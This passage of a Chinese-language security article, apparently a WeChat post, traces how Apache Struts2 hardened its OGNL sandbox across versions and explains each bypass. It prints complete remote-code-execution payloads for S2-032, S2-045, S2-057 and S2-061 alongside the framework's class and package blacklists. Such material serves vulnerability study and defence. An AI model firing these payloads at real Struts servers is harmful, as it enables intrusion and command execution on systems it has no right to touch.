solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">04</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="344:263">struts2 版本变化对应 PoC 的变化</p></div></div></div></div><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"> </span><span style="font-size: 15px;caret-color: red;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">“修补”旅途的开始， struts2 中对 ognl 表达式执行也进行了一定的防护。具体体现在 MemberAccess 接口中规定了 ognl 的对象方法 / 属性访问策略。实现 MemberAccess 接口的有两类：一个是在 ognl 中实现的 DefaultMemberAccess ，默认禁止访问 private 、protected 、package protected 修饰的属性方法。一个是 xwork 中对对象方法访问策略进行了扩展的 SecurityMemberAccess ，指定是否支持访问静态方法，默认设置为 false 。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="java"><p><span class="code-snippet_outer">public class SecurityMemberAccess extends DefaultMemberAccess {</span></p><p><span class="code-snippet_outer">     private boolean allowStaticMethodAccess;</span></p><p><span class="code-snippet_outer">     Set&lt;Pattern&gt; excludeProperties = Collections.emptySet();</span></p><p><span class="code-snippet_outer">     Set&lt;Pattern&gt; acceptProperties = Collections.emptySet();</span></p><p></p><p><span class="code-snippet_outer">     public SecurityMemberAccess(boolean method) {</span></p><p><span class="code-snippet_outer">         super(false);</span></p><p><span class="code-snippet_outer">         this.allowStaticMethodAccess = method;</span></p><p><span class="code-snippet_outer">     }</span></p></pre></p><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">而在 SecurityMemberAccess  中同时也提供了 setAllowStaticMethodAccess 、getAllowStaticMethodAccess 方法，且修饰符为 public 。所以绕过这一版本的防护的 PoC ：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">(#_memberAccess[&#39;allowStaticMethodAccess&#39;]=true).(@java.lang.Runtime@getRuntime().exec(&#39;calc&#39;))</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">通过 #_memberAccess 获取 SecurityMemberAccess 实例，通过 setAllowStaticMethodAccess 方法设置其值为 true ，允许执行静态方法。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">接着在 <strong>Struts2.3.14.2+ </strong>中，SecurityMemberAccess 对 allowStaticMethodAccess 加了 final 修饰并将 setAllowStaticMethodAccess 方法去除了。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这里绕过就有两种方法：【 PoC 参考：S2-012、S2-015、S2-016（影响的版本：Struts 2.0.0 - Struts 2.3.15）】</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">通过反射将 allowStaticMethodAccess 的值改变</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">#f=#_memberAccess.getClass().getDeclaredField(&#34;allowStaticMethodAccess&#34;)</span></p><p><span class="code-snippet_outer">#f.setAccessible(true)</span></p><p><span class="code-snippet_outer">#f.set(#_memberAccess,true)</span></p></pre></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">新建一个 ProcessBuilder 实例，调用 start 方法来执行命令</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">(#p=new java.lang.ProcessBuilder(&#39;calc&#39;)).(#p.start())</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">接着在<strong> Struts2.3.20+ </strong>中，SecurityMemberAccess 中增加了 excludedClasses ， excludedPackageNames 以及 excludedPackageNamePatterns 三个黑名单属性。这三个属性在 SecurityMemberAccess#isAccessible 方法中遍历判断了当前操作类是否在黑名单类中，而在 ognl 表达式执行时 OgnlRuntime 类中 callConstructor、getMethodValue、setMethodValue、getFieldValue、isFieldAccessible、isMethodAccessible、invokeMethod 调用了此方法。也即是在 ognl 表达式在执行以上操作时判断了当前操作类是否在黑名单中。</span></p><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">黑名单属性在 struts-default.xml 中定义：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><p><span class="code-snippet_outer">Struts2.3.28 struts-default.xml ：</span></p><p><span class="code-snippet_outer">&lt;constant name=&#34;struts.excludedClasses&#34;</span></p><p><span class="code-snippet_outer">           value=&#34;</span></p><p><span class="code-snippet_outer">             java.lang.Object,</span></p><p><span class="code-snippet_outer">             java.lang.Runtime,</span></p><p><span class="code-snippet_outer">             java.lang.System,</span></p><p><span class="code-snippet_outer">             java.lang.Class,</span></p><p><span class="code-snippet_outer">             java.lang.ClassLoader,</span></p><p><span class="code-snippet_outer">             java.lang.Shutdown,</span></p><p><span class="code-snippet_outer">             java.lang.ProcessBuilder,</span></p><p><span class="code-snippet_outer">             ognl.OgnlContext,</span></p><p><span class="code-snippet_outer">             ognl.ClassResolver,</span></p><p><span class="code-snippet_outer">             ognl.TypeConverter,</span></p><p><span class="code-snippet_outer">             com.opensymphony.xwork2.ognl.SecurityMemberAccess,</span></p><p><span class="code-snippet_outer">             com.opensymphony.xwork2.ActionContext&#34; /&gt;</span></p><p></p><p><span class="code-snippet_outer"> &lt;constant name=&#34;struts.excludedPackageNames&#34; value=&#34;java.lang.,ognl,javax&#34; /&gt;</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">绕过：【 PoC 参考：S2-032（影响版本：struts2.3.20 - struts2.3.28 (除去 2.3.20.3 及 2.3.24.3)）】</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">通过 DefaultMemberAccess 替换 SecurityMemberAccess 来完成：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><p><span class="code-snippet_outer">#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这样 ognl 计算时的规则就替换成了 DefaultMemberAccess 中的规则，也就没有了黑名单的限制以及静态方法的限制。这里获取类的静态属性通过 ognl.OgnlRuntime#getStaticField 获得，而该方法中没有调用 isAccessible 方法，故通过 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 可以获取到 DefaultMemberAccess 对象，赋值给上下文环境中的 _memberAccess ，绕过黑名单限制。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">接着在 <strong>Struts2.3.30+ </strong><strong>及</strong><strong> struts2.5.2+ </strong>中，增加了 SecurityMemberAccess 中的黑名单，将 ognl.DefaultMemberAccess 以及 ognl.MemberAccess 加入了黑名单；同时在 Struts2.3.30 使用 ognl-3.0.19.jar 包 、struts2.5.2 使用 ognl-3.1.10.jar 包中的 OgnlContext 不再支持使用 #_memberAccess 获得 MemberAccess 实例。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><p><span class="code-snippet_outer">struts2.5.10 ：</span></p><p><span class="code-snippet_outer">&lt;constant name=&#34;struts.excludedClasses&#34;</span></p><p><span class="code-snippet_outer">          value=&#34;</span></p><p><span class="code-snippet_outer">            java.lang.Object,</span></p><p><span class="code-snippet_outer">            java.lang.Runtime,</span></p><p><span class="code-snippet_outer">            java.lang.System,</span></p><p><span class="code-snippet_outer">            java.lang.Class,</span></p><p><span class="code-snippet_outer">            java.lang.ClassLoader,</span></p><p><span class="code-snippet_outer">            java.lang.Shutdown,</span></p><p><span class="code-snippet_outer">            java.lang.ProcessBuilder,</span></p><p><span class="code-snippet_outer">            ognl.OgnlContext,</span></p><p><span class="code-snippet_outer">            ognl.ClassResolver,</span></p><p><span class="code-snippet_outer">            ognl.TypeConverter,</span></p><p><span class="code-snippet_outer">            ognl.MemberAccess,</span></p><p><span class="code-snippet_outer">            ognl.DefaultMemberAccess,</span></p><p><span class="code-snippet_outer">            com.opensymphony.xwork2.ognl.SecurityMemberAccess,</span></p><p><span class="code-snippet_outer">            com.opensymphony.xwork2.ActionContext&#34; /&gt;</span></p><p><span class="code-snippet_outer">&lt;constant name=&#34;struts.excludedPackageNames&#34; value=&#34;java.lang.,ognl,javax,freemarker.core,freemarker.template&#34; /&gt;</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">绕过：【 PoC 参考 S2-045 ，影响版本 Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 】</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">通过 ognl.OgnlContext#setMemberAccess 方法将 DefaultMemberAccess 设为 ognl 表达式计算的规则。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><p><span class="code-snippet_outer">(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm))</span></p></pre></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.24691358024691357" data-s="300,640" style="" data-type="png" data-w="1053" src="https://wechat2rss.xlab.app/img-proxy/?k=abd74713&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMxVoCjR9X4y7j2eBaBeQ7mcUiatp6DSFLVucD9ibl4KbT2ic0fL1w15vjw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这样无需通过 #_memberAccess 的形式获取实例，而是直接改变 OgnlContext 中的 _memberAccess 属性。但是调用 setMemberAccess 方法会触发检查黑名单，ognl.OgnlContext 俨然在黑名单中，那怎么绕过黑名单呢？</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">通过 OgnlUtil 改变 SecurityMemberAccess 黑名单属性值：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).</span></p><p><span class="code-snippet_outer">(#ognlUtil= #container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).</span></p><p><span class="code-snippet_outer">(#ognlUtil.getExcludedPackageNames().clear()).</span></p><p><span class="code-snippet_outer">(#ognlUtil.getExcludedClasses().clear())</span></p></pre></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.8810086682427108" data-s="300,640" style="" data-type="jpeg" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=f93d7614&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMNJNgxiaZMibIutkUUzDia8E2iadQjfKP0T680fAoXpCSkFOs5zYOPV4qtw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">从上图中可以看出在 StrutsPrepareAndExecuteFilter#doFilter 初始化 OgnlValueStack 中 SecurityMemberAccess 的黑名单集合时是通过 ognlUtil 中的黑名单集合进行赋值的，他们共享同一个黑名单地址，那么是不是将 OgnlUtil 中的黑名单清空 SecurityMemberAccess 中的黑名单也清空了。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">故在 PoC 中首先通过容器获取 OgnlUtil 实例， OgnlUtil 是单例模式实现的对象，所以获取到的实例是唯一的，接着调用 get 方法获取黑名单集合，clear 方法清空。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">我们可以一起看一下 S2-045 完整的 PoC ：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">%{</span></p><p><span class="code-snippet_outer">(#_=&#39;multipart/form-data&#39;).</span></p><p><span class="code-snippet_outer">(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).</span></p><p><span class="code-snippet_outer">(#_memberAccess?(#_memberAccess=#dm):(</span></p><p><span class="code-snippet_outer">  (#container=#context[&#39;com.opensymphony.xwork2.ActionContext.container&#39;]).</span></p><p><span class="code-snippet_outer">  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).</span></p><p><span class="code-snippet_outer">  (#ognlUtil.getExcludedPackageNames().clear()).</span></p><p><span class="code-snippet_outer">  (#ognlUtil.getExcludedClasses().clear()).</span></p><p><span class="code-snippet_outer">  (#context.setMemberAccess(#dm))</span></p><p><span class="code-snippet_outer">)).</span></p><p><span class="code-snippet_outer">(#cmd=&#39;whoami&#39;).</span></p><p><span class="code-snippet_outer">(#iswin=(@java.lang.System@getProperty(&#39;os.name&#39;).toLowerCase().contains(&#39;win&#39;))).</span></p><p><span class="code-snippet_outer">(#cmds=(#iswin?{&#39;cmd.exe&#39;,&#39;/c&#39;,#cmd}:{&#39;/bin/bash&#39;,&#39;-c&#39;,#cmd})).</span></p><p><span class="code-snippet_outer">(#p=new java.lang.ProcessBuilder(#cmds)).</span></p><p><span class="code-snippet_outer">(#p.redirectErrorStream(true)).</span></p><p><span class="code-snippet_outer">(#process=#p.start()).</span></p><p><span class="code-snippet_outer">(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).</span></p><p><span class="code-snippet_outer">(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).</span></p><p><span class="code-snippet_outer">(#ros.flush())</span></p><p><span class="code-snippet_outer">}</span></p></pre></p><p style="text-align:left;line-height:normal;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">最开始的 #_=&#39;multipart/form-data&#39; 是为了满足触发漏洞的要求，接下来就是将 DefaultMemberAccess 存入 OgnlContext 上下文环境中，接着一个三目运算符主要为了适配低版本中可以直接取到 _memberAccess 对象，取不到就按前面绕过的形式将黑名单清空并将 DefaultMemberAccess 设为默认安全策略。接下来就是执行命令并输出了。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">接着在<strong> Struts2.5.13+ </strong>中，excludedClasses 等黑名单集合设为不可变集合（从 struts 2.5.12 开始就不再可变）通过前面 PoC 中的 clear 函数来清除数据会抛出异常：java.lang.UnsupportedOperationException at java.util.Collections$UnmodifiableCollection.clear 。同时 struts 2.5.13 使用的 ognl-3.1.15.jar 包中 OgnlContext 不再支持使用 #context 获取上下文环境。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="typescript"><p><span class="code-snippet_outer">com.opensymphony.xwork2.ognl.OgnlUtil#setExcludedClasses :</span></p><p><span class="code-snippet_outer">public void setExcludedClasses(String commaDelimitedClasses) {</span></p><p><span class="code-snippet_outer">    Set&lt;String&gt; classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);</span></p><p><span class="code-snippet_outer">    Set&lt;Class&lt;?&gt;&gt; classes = new HashSet();</span></p><p><span class="code-snippet_outer">    Iterator i$ = classNames.iterator();</span></p><p><span class="code-snippet_outer">    </span></p><p><span class="code-snippet_outer">    while(i$.hasNext()) {</span></p><p><span class="code-snippet_outer">        String className = (String)i$.next();</span></p><p><span class="code-snippet_outer">        try {</span></p><p><span class="code-snippet_outer">            classes.add(Class.forName(className));</span></p><p><span class="code-snippet_outer">        } catch (ClassNotFoundException var7) {</span></p><p><span class="code-snippet_outer">            throw new ConfigurationException(&#34;Cannot load excluded class: &#34; + className, var7);</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p></p><p><span class="code-snippet_outer">    this.excludedClasses = Collections.unmodifiableSet(classes);</span></p><p><span class="code-snippet_outer">}</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">绕过：【 PoC 参考 S2-057 ，影响版本 Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts 2.5.16 】</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">通过 setExcludedXXX(&#39;&#39;) 方法实现：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">(#ognlUtil.setExcludedClasses(&#39;&#39;)).(#ognlUtil.setExcludedPackageNames(&#39;&#39;))</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">但是，实操发现这样发送请求后面的命令还是不能执行，跟进 setExcludedXXX(&#39;&#39;) 中的 Collections.unmodifiableSet(classes) 会发现其实是返回了一个新的空集合，并不是之前那个 _memberAccess 和 ognlUtil 共同引用的那个黑名单地址的集合，怎么办呐，很简单再发一次请求就可以了。为什么呢？因为提到过 OgnlUtil 是单例模式实现的，应用从始至终都用的同一个 OgnlUtil ，而 _memberAccess 的作用域是在一次请求范围内的，与此同时 OgnlUtil 中的黑名单集合已经置为空了，那么重新发一次请求，_memberAccess 重新初始化，通过 OgnlUtil 中为空的黑名单进行赋值。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">还有一个需要绕过的地方：通过上下文环境中其他属性（比如这里的 attr ）来获得 context 。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><p><span class="code-snippet_outer">#attr[&#39;struts.valueStack&#39;].context</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">完整看一下 S2-057 的 PoC ：</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">两个数据包：</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">1、</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="kotlin"><p><span class="code-snippet_outer">/${(#context=#attr[&#39;struts.valueStack&#39;].context).(#container=#context[&#39;com.opensymphony.xwork2.ActionContext.container&#39;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses(&#39;&#39;)).(#ognlUtil.setExcludedPackageNames(&#39;&#39;))}/login.action</span></p></pre></p><p style="text-align:left;line-height:normal;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">2、</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="typescript"><p><span class="code-snippet_outer">/${(#context=#attr[&#39;struts.valueStack&#39;].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(&#39;calc&#39;))}/login</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">接着在 <strong>Struts2.5.20 </strong>中，使用的 ognl-3.1.21.jar 包 ognl.OgnlRuntime#getStaticField 中调用了 isAccessible 方法，同时 OgnlUtil 中 set 黑名单集合等修饰符由 public 变成了 protected 。在 <strong>Struts2.5.22+ </strong>中，ognl.OgnlRuntime#invokeMethod 方法调用时屏蔽了常用的类，也即是就算将黑名单绕过去了方法调用时仍会判断是否是这些常用的类。同时 struts-default.xml 中定义的黑名单再次增加。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><p><span class="code-snippet_outer">Struts2.5.25 struts-default.xml :</span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">constant</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;struts.excludedClasses&#34;</span></span></span></p><p><span class="code-snippet_outer">              <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;</span></span></p><p><span class="code-snippet_outer">                java.lang.Object,</span></p><p><span class="code-snippet_outer">                java.lang.Runtime,</span></p><p><span class="code-snippet_outer">                java.lang.System,</span></p><p><span class="code-snippet_outer">                java.lang.Class,</span></p><p><span class="code-snippet_outer">                java.lang.ClassLoader,</span></p><p><span class="code-snippet_outer">                java.lang.Shutdown,</span></p><p><span class="code-snippet_outer">                java.lang.ProcessBuilder,</span></p><p><span class="code-snippet_outer">                sun.misc.Unsafe,</span></p><p><span class="code-snippet_outer"><span class="code-snippet_outer">                com.opensymphony.xwork2.ActionContext&#34;</span> /&gt;</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">constant</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;struts.excludedPackageNames&#34;</span></span></span></p><p><span class="code-snippet_outer">              <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;</span></span></p><p><span class="code-snippet_outer">                ognl.,</span></p><p><span class="code-snippet_outer">                java.io.,</span></p><p><span class="code-snippet_outer">                java.net.,</span></p><p><span class="code-snippet_outer">                java.nio.,</span></p><p><span class="code-snippet_outer">                javax.,</span></p><p><span class="code-snippet_outer">                freemarker.core.,</span></p><p><span class="code-snippet_outer">                freemarker.template.,</span></p><p><span class="code-snippet_outer">                freemarker.ext.jsp.,</span></p><p><span class="code-snippet_outer">                freemarker.ext.rhino.,</span></p><p><span class="code-snippet_outer">                sun.misc.,</span></p><p><span class="code-snippet_outer">                sun.reflect.,</span></p><p><span class="code-snippet_outer">                javassist.,</span></p><p><span class="code-snippet_outer">                org.apache.velocity.,</span></p><p><span class="code-snippet_outer">                org.objectweb.asm.,</span></p><p><span class="code-snippet_outer">                org.springframework.context.,</span></p><p><span class="code-snippet_outer">                com.opensymphony.xwork2.inject.,</span></p><p><span class="code-snippet_outer">                com.opensymphony.xwork2.ognl.,</span></p><p><span class="code-snippet_outer">                com.opensymphony.xwork2.security.,</span></p><p><span class="code-snippet_outer"><span class="code-snippet_outer">                com.opensymphony.xwork2.util.&#34;</span> /&gt;</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">相当于前面绕过方式都不能用了，比如使用 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 获得 DefaultMemberAccess 实例；使用 #attr[&#39;struts.valueStack&#39;].context 获得上下文环境；通过容器创建实例等。</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">绕过：</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">【 PoC 参考 S2-061 ，影响版本 Struts 2.0.0 - Struts 2.5.25 】</span></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">引用新的类来实现：</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">org.apache.tomcat.InstanceManager ：</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">使用其默认实现类 DefaultInstanceManager 的 newInstance 方法来创建实例</span></p></li></ul><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">org.apache.commons.collections.BeanMap ：</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">通过 BeanMap#setBean 方法可以将类实例存入 BeanMap 中，存入同时进行初始化将其 set、get 方法存入当前的 writeMethod 、 readMethod 集合中；</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">通过 BeanMap#get 方法可以在当前 bean 的 readMethod 集合中找到对应 get 方法，再反射调用该方法返回一个对象；</span></p></li><li><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">通过 BeanMap#put 方法可以在当前 bean 的 writeMethod 集合中找到对应 set 方法，再反射调用该方法。</span></p></li></ul></ul><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">完整看一下 S2-061 的 PoC ：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="shell"><p><span class="code-snippet_outer">%25{(#im=#application[&#39;org.apache.tomcat.InstanceManager&#39;]).</span></p><p><span class="code-snippet_outer">(#bm=#im.newInstance(&#39;org.apache.commons.collections.BeanMap&#39;)).</span></p><p><span class="code-snippet_outer">(#vs=#request[&#39;struts.valueStack&#39;]).</span></p><p><span class="code-snippet_outer">(#bm.setBean(#vs)).(#context=#bm.get(&#39;context&#39;)).</span></p><p><span class="code-snippet_outer">(#bm.setBean(#context)).(#access=#bm.get(&#39;memberAccess&#39;)).</span></p><p><span class="code-snippet_outer">(#bm.setBean(#access)).</span></p><p><span class="code-snippet_outer">(#empty=#im.newInstance(&#39;java.util.HashSet&#39;)).</span></p><p><span class="code-snippet_outer">(#bm.put(&#39;excludedClasses&#39;,#empty)).(#bm.put(&#39;excludedPackageNames&#39;,#empty)).</span></p><p><span class="code-snippet_outer">(#cmdout=#im.newInstance(&#39;freemarker.template.utility.Execute&#39;).exec({&#39;whoami&#39;}))}</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">首先从 application 中获得 DefaultInstanceManager 实例，调用 newInstance 方法获得 BeanMap 实例。接着先将 OgnlValueStack 存入 BeanMap 中，通过 get 方法可以获得 OgnlContext 实例，获得 OgnlContext 实例就可以通过其获得 MemberAccess 实例，接着可以通过 put 方法调用 set 方法，将其黑名单置空，黑名单置空后就可以创建一个黑名单中的类实例来执行命令了。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.9848484848484849" data-s="300,640" style="" data-type="png" data-w="198" src="https://wechat2rss.xlab.app/img-proxy/?k=9500ee22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMg8ttJVEk5f2xfFUQ8fiarJeR425ibBFnicTwW4UKuLFI4ibWK9y5zWUy8Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">最新版本：<strong>Struts2.5.26 </strong>中再一次增加了黑名单：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><p><span class="code-snippet_outer">&lt;constant name=&#34;struts.excludedClasses&#34;</span></p><p><span class="code-snippet_outer">              value=&#34;</span></p><p><span class="code-snippet_outer">                java.lang.Object,</span></p><p><span class="code-snippet_outer">                java.lang.Runtime,</span></p><p><span class="code-snippet_outer">                java.lang.System,</span></p><p><span class="code-snippet_outer">                java.lang.Class,</span></p><p><span class="code-snippet_outer">                java.lang.ClassLoader,</span></p><p><span class="code-snippet_outer">                java.lang.Shutdown,</span></p><p><span class="code-snippet_outer">                java.lang.ProcessBuilder,</span></p><p><span class="code-snippet_outer">                sun.misc.Unsafe,</span></p><p><span class="code-snippet_outer">                com.opensymphony.xwork2.ActionContext&#34; /&gt;</span></p><p></p><p><span class="code-snippet_outer">&lt;constant name=&#34;struts.excludedPackageNames&#34;</span></p><p><span class="code-snippet_outer">          value=&#34;</span></p><p><span class="code-snippet_outer">            ognl., java.io., java.net., java.nio., javax.,</span></p><p><span class="code-snippet_outer">            freemarker.core., 